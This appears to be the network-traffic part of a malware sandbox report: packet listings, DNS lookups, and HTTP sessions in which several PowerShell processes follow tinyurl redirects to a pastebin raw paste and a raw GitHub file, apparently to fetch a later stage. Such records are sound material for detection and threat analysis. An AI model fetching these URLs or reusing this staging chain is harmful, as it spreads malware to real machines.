Sep 16, 2024 19:33:28.375562906 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:28.375569105 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:28.375577927 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:28.375622034 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:28.375647068 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:28.375663042 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:28.375670910 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:28.375680923 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:28.375691891 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:28.375813961 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:28.375823975 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:28.375833988 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:28.375865936 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:28.375885010 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:28.375885010 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:28.375890970 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:28.375894070 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:28.375904083 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:28.375988007 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:28.375998020 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:28.376012087 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:28.376066923 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:28.376075983 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:28.376084089 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:28.376105070 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:28.376128912 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:28.376142979 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:28.376167059 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:28.376179934 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:28.376185894 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:28.376199961 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:28.376216888 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:28.376221895 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:28.376226902 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:28.376291037 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:28.376297951 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:28.376317024 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:28.376358986 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:28.376367092 CEST	443	49766	185.199.110.133	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 16, 2024 19:32:38.925827980 CEST	192.168.2.4	1.1.1.1	0xef38	Standard query (0)	tinyurl.com	A (IP address)	IN (0x0001)	false
Sep 16, 2024 19:32:39.447196007 CEST	192.168.2.4	1.1.1.1	0xb762	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false
Sep 16, 2024 19:32:40.367238998 CEST	192.168.2.4	1.1.1.1	0xd6c8	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Sep 16, 2024 19:32:48.661118031 CEST	192.168.2.4	1.1.1.1	0x5d70	Standard query (0)	discord.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Sep 16, 2024 19:32:38.932996988 CEST	1.1.1.1	192.168.2.4	0xef38	No error (0)	tinyurl.com	104.17.112.233	A (IP address)	IN (0x0001)	false
Sep 16, 2024 19:32:38.932996988 CEST	1.1.1.1	192.168.2.4	0xef38	No error (0)	tinyurl.com	104.18.111.161	A (IP address)	IN (0x0001)	false
Sep 16, 2024 19:32:39.461134911 CEST	1.1.1.1	192.168.2.4	0xb762	No error (0)	pastebin.com	104.20.4.235	A (IP address)	IN (0x0001)	false
Sep 16, 2024 19:32:39.461134911 CEST	1.1.1.1	192.168.2.4	0xb762	No error (0)	pastebin.com	172.67.19.24	A (IP address)	IN (0x0001)	false
Sep 16, 2024 19:32:39.461134911 CEST	1.1.1.1	192.168.2.4	0xb762	No error (0)	pastebin.com	104.20.3.235	A (IP address)	IN (0x0001)	false
Sep 16, 2024 19:32:40.374003887 CEST	1.1.1.1	192.168.2.4	0xd6c8	No error (0)	raw.githubusercontent.com	185.199.110.133	A (IP address)	IN (0x0001)	false
Sep 16, 2024 19:32:40.374003887 CEST	1.1.1.1	192.168.2.4	0xd6c8	No error (0)	raw.githubusercontent.com	185.199.108.133	A (IP address)	IN (0x0001)	false
Sep 16, 2024 19:32:40.374003887 CEST	1.1.1.1	192.168.2.4	0xd6c8	No error (0)	raw.githubusercontent.com	185.199.111.133	A (IP address)	IN (0x0001)	false
Sep 16, 2024 19:32:40.374003887 CEST	1.1.1.1	192.168.2.4	0xd6c8	No error (0)	raw.githubusercontent.com	185.199.109.133	A (IP address)	IN (0x0001)	false
Sep 16, 2024 19:32:48.669677973 CEST	1.1.1.1	192.168.2.4	0x5d70	No error (0)	discord.com	162.159.128.233	A (IP address)	IN (0x0001)	false
Sep 16, 2024 19:32:48.669677973 CEST	1.1.1.1	192.168.2.4	0x5d70	No error (0)	discord.com	162.159.138.232	A (IP address)	IN (0x0001)	false
Sep 16, 2024 19:32:48.669677973 CEST	1.1.1.1	192.168.2.4	0x5d70	No error (0)	discord.com	162.159.135.232	A (IP address)	IN (0x0001)	false
Sep 16, 2024 19:32:48.669677973 CEST	1.1.1.1	192.168.2.4	0x5d70	No error (0)	discord.com	162.159.136.232	A (IP address)	IN (0x0001)	false
Sep 16, 2024 19:32:48.669677973 CEST	1.1.1.1	192.168.2.4	0x5d70	No error (0)	discord.com	162.159.137.232	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	104.17.112.233	80	7392	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 19:32:38.968527079 CEST	164	OUT	GET /yeykydun HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: tinyurl.com Connection: Keep-Alive
Sep 16, 2024 19:32:39.438700914 CEST	1236	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 16 Sep 2024 17:32:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Location: https://pastebin.com/raw/sA04Mwk2 Referrer-Policy: unsafe-url X-Robots-Tag: noindex X-TinyURL-Redirect-Type: redirect Cache-Control: max-age=0, must-revalidate, no-cache, no-store, private X-TinyURL-Redirect: eyJpdiI6InZFNjVoa0hlbkhjdmc5K3o4bWs3VFE9PSIsInZhbHVlIjoield4RFU3QVcycHc2MjRJWnFSdkJYM0w5TndSUVhCSFgzMVdYSEFXdy9leGVVL3lodDlPNVljQmZTbFRlOFdTZjk2S1VTdy8xNTZkTWc2MDVjcXBLTHc9PSIsIm1hYyI6IjQ0ZTJjMTQwOTYyODQwYjhlN2NlZjAwYzQxMWI2NTVkMjU0MzliM2I4ODI2ZjA4ZTBkYzAwZTBkYTM0ZDMxZTciLCJ0YWciOiIifQ== X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: HIT Age: 510 Set-Cookie: __cf_bm=nXaTKommaMp5E.7wyxjL0wEDNKswADLVBqB4iV4INeg-1726507959-1.0.1.1-IOv7ZZhRI0rdgrAroFDBFZwVS8txzAbkAJEu.7z0LG9pzgaQ3UBKU9pODtillVbbwXZT5SUt5ogGGhblnS3Sqg; path=/; expires=Mon, 16-Sep-24 18:02:39 GMT; domain=.tinyurl.com; HttpOnly Server: cloudflare CF-RAY: 8c4298da1a3d7c96-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 31 37 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 70 61 73 Data Ascii: 17a<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://pas
Sep 16, 2024 19:32:39.438766956 CEST	251	IN	Data Raw: 74 65 62 69 6e 2e 63 6f 6d 2f 72 61 77 2f 73 41 30 34 4d 77 6b 32 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 70 61 73 74 65 62 69 6e 2e 63 6f 6d 2f 72 61 Data Ascii: tebin.com/raw/sA04Mwk2'" /> <title>Redirecting to https://pastebin.com/raw/sA04Mwk2</title> </head> <body> Redirecting to <a href="https://pastebin.com/raw/sA04Mwk2">https://pastebin.com/raw/sA04Mwk2</a>. </body><
Sep 16, 2024 19:32:39.533792973 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Sep 16, 2024 19:32:40.245672941 CEST	140	OUT	GET /yk3s8ubp HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: tinyurl.com
Sep 16, 2024 19:32:40.375293970 CEST	1236	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 16 Sep 2024 17:32:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt Referrer-Policy: unsafe-url X-Robots-Tag: noindex X-TinyURL-Redirect-Type: redirect Cache-Control: max-age=0, must-revalidate, no-cache, no-store, private X-TinyURL-Redirect: eyJpdiI6ImFoaVE1MHZ5UmtGQlRXby9UOTFwTlE9PSIsInZhbHVlIjoidS9ITnp0TUFFb1gxK1BhKzY0L3pYRkRJdXk4WGdEQ3ZUWFJHRXlQWlVxRExzTDdmNTlQR0QvUXdjUGxzL1M1ZEhXZHEvSldFbzN0bzRpa1Y3WWIxTEE9PSIsIm1hYyI6IjU0Y2QwMjQyZjNkMmJjNGY0MzM3MTUzNTc4MDdmMDQ5MzgyYzA0NWYwZDUyZTY2NTk4NDBkNWQ2MjZhNjU5ZWIiLCJ0YWciOiIifQ== X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: HIT Age: 509 Set-Cookie: __cf_bm=CoU.owJwYey656fucVjM_dMsvFD9bdF4Ah_TfQDa9xM-1726507960-1.0.1.1-81mvRHlf5uRUMzUyccFt.LWZJSHaVS.A0bwmnpOfnvmavbLzCjC2JxKMSSUglMa4FcC4BG6imgvDqQowlKmU4A; path=/; expires=Mon, 16-Sep-24 18:02:40 GMT; domain=.tinyurl.com; HttpOnly Server: cloudflare CF-RAY: 8c4298dfd83d7c96-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 32 34 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c Data Ascii: 24e<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <
Sep 16, 2024 19:32:40.375329018 CEST	521	IN	Data Raw: 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 4e 65 74 68 33 4e Data Ascii: meta http-equiv="refresh" content="0;url='https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt'" /> <title>Redirecting to https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49730	104.17.112.233	80	7384	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 19:32:38.968568087 CEST	164	OUT	GET /yeykydun HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: tinyurl.com Connection: Keep-Alive
Sep 16, 2024 19:32:39.435169935 CEST	1236	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 16 Sep 2024 17:32:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Location: https://pastebin.com/raw/sA04Mwk2 Referrer-Policy: unsafe-url X-Robots-Tag: noindex X-TinyURL-Redirect-Type: redirect Cache-Control: max-age=0, must-revalidate, no-cache, no-store, private X-TinyURL-Redirect: eyJpdiI6InZFNjVoa0hlbkhjdmc5K3o4bWs3VFE9PSIsInZhbHVlIjoield4RFU3QVcycHc2MjRJWnFSdkJYM0w5TndSUVhCSFgzMVdYSEFXdy9leGVVL3lodDlPNVljQmZTbFRlOFdTZjk2S1VTdy8xNTZkTWc2MDVjcXBLTHc9PSIsIm1hYyI6IjQ0ZTJjMTQwOTYyODQwYjhlN2NlZjAwYzQxMWI2NTVkMjU0MzliM2I4ODI2ZjA4ZTBkYzAwZTBkYTM0ZDMxZTciLCJ0YWciOiIifQ== X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: HIT Age: 510 Set-Cookie: __cf_bm=iysPPP42nbm.mSQ6Aw1I2_ATkFiD6P1.Tb.w2x7eE0M-1726507959-1.0.1.1-KDqa1bBDeGZp5bP5dR.U4jHAy_5lolJMtT2HnfD3lgiByw0cfht3KY4uImx75ms21xF7YoZCE3F4xMtBR0HDNw; path=/; expires=Mon, 16-Sep-24 18:02:39 GMT; domain=.tinyurl.com; HttpOnly Server: cloudflare CF-RAY: 8c4298da1bc842d1-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 31 37 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 70 61 73 Data Ascii: 17a<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://pas
Sep 16, 2024 19:32:39.435236931 CEST	256	IN	Data Raw: 74 65 62 69 6e 2e 63 6f 6d 2f 72 61 77 2f 73 41 30 34 4d 77 6b 32 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 70 61 73 74 65 62 69 6e 2e 63 6f 6d 2f 72 61 Data Ascii: tebin.com/raw/sA04Mwk2'" /> <title>Redirecting to https://pastebin.com/raw/sA04Mwk2</title> </head> <body> Redirecting to <a href="https://pastebin.com/raw/sA04Mwk2">https://pastebin.com/raw/sA04Mwk2</a>. </body><
Sep 16, 2024 19:32:40.248425961 CEST	140	OUT	GET /yk3s8ubp HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: tinyurl.com
Sep 16, 2024 19:32:40.367921114 CEST	1236	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 16 Sep 2024 17:32:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt Referrer-Policy: unsafe-url X-Robots-Tag: noindex X-TinyURL-Redirect-Type: redirect Cache-Control: max-age=0, must-revalidate, no-cache, no-store, private X-TinyURL-Redirect: eyJpdiI6ImFoaVE1MHZ5UmtGQlRXby9UOTFwTlE9PSIsInZhbHVlIjoidS9ITnp0TUFFb1gxK1BhKzY0L3pYRkRJdXk4WGdEQ3ZUWFJHRXlQWlVxRExzTDdmNTlQR0QvUXdjUGxzL1M1ZEhXZHEvSldFbzN0bzRpa1Y3WWIxTEE9PSIsIm1hYyI6IjU0Y2QwMjQyZjNkMmJjNGY0MzM3MTUzNTc4MDdmMDQ5MzgyYzA0NWYwZDUyZTY2NTk4NDBkNWQ2MjZhNjU5ZWIiLCJ0YWciOiIifQ== X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: HIT Age: 509 Set-Cookie: __cf_bm=1tSFbbPV_M5PdGtWLuB21ORGy7Vi7mVMALNgxsZrG.0-1726507960-1.0.1.1-Zd4eTOKWIpgUNBlvRV47CtaFCLQFdoV8d.LWxX6TLaV1tRhph.1f2v7tibkscWzeAeyMAU48vKBz6advJy5ABw; path=/; expires=Mon, 16-Sep-24 18:02:40 GMT; domain=.tinyurl.com; HttpOnly Server: cloudflare CF-RAY: 8c4298dfee8042d1-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 32 34 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c Data Ascii: 24e<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <
Sep 16, 2024 19:32:40.367957115 CEST	521	IN	Data Raw: 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 4e 65 74 68 33 4e Data Ascii: meta http-equiv="refresh" content="0;url='https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt'" /> <title>Redirecting to https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	104.17.112.233	80	7400	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 19:32:38.970427036 CEST	164	OUT	GET /yeykydun HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: tinyurl.com Connection: Keep-Alive
Sep 16, 2024 19:32:39.434863091 CEST	1236	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 16 Sep 2024 17:32:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Location: https://pastebin.com/raw/sA04Mwk2 Referrer-Policy: unsafe-url X-Robots-Tag: noindex X-TinyURL-Redirect-Type: redirect Cache-Control: max-age=0, must-revalidate, no-cache, no-store, private X-TinyURL-Redirect: eyJpdiI6InZFNjVoa0hlbkhjdmc5K3o4bWs3VFE9PSIsInZhbHVlIjoield4RFU3QVcycHc2MjRJWnFSdkJYM0w5TndSUVhCSFgzMVdYSEFXdy9leGVVL3lodDlPNVljQmZTbFRlOFdTZjk2S1VTdy8xNTZkTWc2MDVjcXBLTHc9PSIsIm1hYyI6IjQ0ZTJjMTQwOTYyODQwYjhlN2NlZjAwYzQxMWI2NTVkMjU0MzliM2I4ODI2ZjA4ZTBkYzAwZTBkYTM0ZDMxZTciLCJ0YWciOiIifQ== X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: HIT Age: 510 Set-Cookie: __cf_bm=Sduyu2F02djQj6CqxT5h0cWq3F9aNX_X7KoCTwpOpMo-1726507959-1.0.1.1-tPjApiD4SAdnixPAC3mUFVBYnwwcamEtZ7c0jJJ6tQGqybDaB0CcRXXy5GHlLhJXEFxCKEwDcJHs0No3pz5LLg; path=/; expires=Mon, 16-Sep-24 18:02:39 GMT; domain=.tinyurl.com; HttpOnly Server: cloudflare CF-RAY: 8c4298da1e3d436e-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 31 37 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 70 61 73 Data Ascii: 17a<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://pas
Sep 16, 2024 19:32:39.434885979 CEST	256	IN	Data Raw: 74 65 62 69 6e 2e 63 6f 6d 2f 72 61 77 2f 73 41 30 34 4d 77 6b 32 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 70 61 73 74 65 62 69 6e 2e 63 6f 6d 2f 72 61 Data Ascii: tebin.com/raw/sA04Mwk2'" /> <title>Redirecting to https://pastebin.com/raw/sA04Mwk2</title> </head> <body> Redirecting to <a href="https://pastebin.com/raw/sA04Mwk2">https://pastebin.com/raw/sA04Mwk2</a>. </body><
Sep 16, 2024 19:32:40.246546030 CEST	140	OUT	GET /yk3s8ubp HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: tinyurl.com
Sep 16, 2024 19:32:40.365977049 CEST	1236	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 16 Sep 2024 17:32:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt Referrer-Policy: unsafe-url X-Robots-Tag: noindex X-TinyURL-Redirect-Type: redirect Cache-Control: max-age=0, must-revalidate, no-cache, no-store, private X-TinyURL-Redirect: eyJpdiI6ImFoaVE1MHZ5UmtGQlRXby9UOTFwTlE9PSIsInZhbHVlIjoidS9ITnp0TUFFb1gxK1BhKzY0L3pYRkRJdXk4WGdEQ3ZUWFJHRXlQWlVxRExzTDdmNTlQR0QvUXdjUGxzL1M1ZEhXZHEvSldFbzN0bzRpa1Y3WWIxTEE9PSIsIm1hYyI6IjU0Y2QwMjQyZjNkMmJjNGY0MzM3MTUzNTc4MDdmMDQ5MzgyYzA0NWYwZDUyZTY2NTk4NDBkNWQ2MjZhNjU5ZWIiLCJ0YWciOiIifQ== X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: HIT Age: 509 Set-Cookie: __cf_bm=3A1ZaAGc0q1QruMwS1B1539dg_fEPfYNIj.hsy7.YPw-1726507960-1.0.1.1-BDsIcOkEZDoRWZ.srur8u_QpnwRqieSzD3EQKU8.fGQ43aOdImym3M4GxDdL1zWdhcx7M8BYvHrpnDvA4bOJkw; path=/; expires=Mon, 16-Sep-24 18:02:40 GMT; domain=.tinyurl.com; HttpOnly Server: cloudflare CF-RAY: 8c4298dfed84436e-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 32 34 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c Data Ascii: 24e<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <
Sep 16, 2024 19:32:40.366090059 CEST	521	IN	Data Raw: 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 4e 65 74 68 33 4e Data Ascii: meta http-equiv="refresh" content="0;url='https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt'" /> <title>Redirecting to https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49736	104.17.112.233	80	7796	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 19:32:39.636337042 CEST	164	OUT	GET /yeykydun HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: tinyurl.com Connection: Keep-Alive
Sep 16, 2024 19:32:40.137167931 CEST	1236	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 16 Sep 2024 17:32:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Location: https://pastebin.com/raw/sA04Mwk2 Referrer-Policy: unsafe-url X-Robots-Tag: noindex X-TinyURL-Redirect-Type: redirect Cache-Control: max-age=0, must-revalidate, no-cache, no-store, private X-TinyURL-Redirect: eyJpdiI6InZFNjVoa0hlbkhjdmc5K3o4bWs3VFE9PSIsInZhbHVlIjoield4RFU3QVcycHc2MjRJWnFSdkJYM0w5TndSUVhCSFgzMVdYSEFXdy9leGVVL3lodDlPNVljQmZTbFRlOFdTZjk2S1VTdy8xNTZkTWc2MDVjcXBLTHc9PSIsIm1hYyI6IjQ0ZTJjMTQwOTYyODQwYjhlN2NlZjAwYzQxMWI2NTVkMjU0MzliM2I4ODI2ZjA4ZTBkYzAwZTBkYTM0ZDMxZTciLCJ0YWciOiIifQ== X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: HIT Age: 511 Set-Cookie: __cf_bm=HNAuo0WPF4vRnahgeXrkNuOSBaO5fS4wsgpiTeKIHbc-1726507960-1.0.1.1-0MtwzH7xtI_w15ZASPvoAN_1QwncVeIlV2csVtW7sL3_Yy0BbsYR2a0vdN0XgGoz9F7j34TsUJmTwAKK.J8qdw; path=/; expires=Mon, 16-Sep-24 18:02:40 GMT; domain=.tinyurl.com; HttpOnly Server: cloudflare CF-RAY: 8c4298de68cc41fe-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 31 37 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 70 61 73 Data Ascii: 17a<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://pas
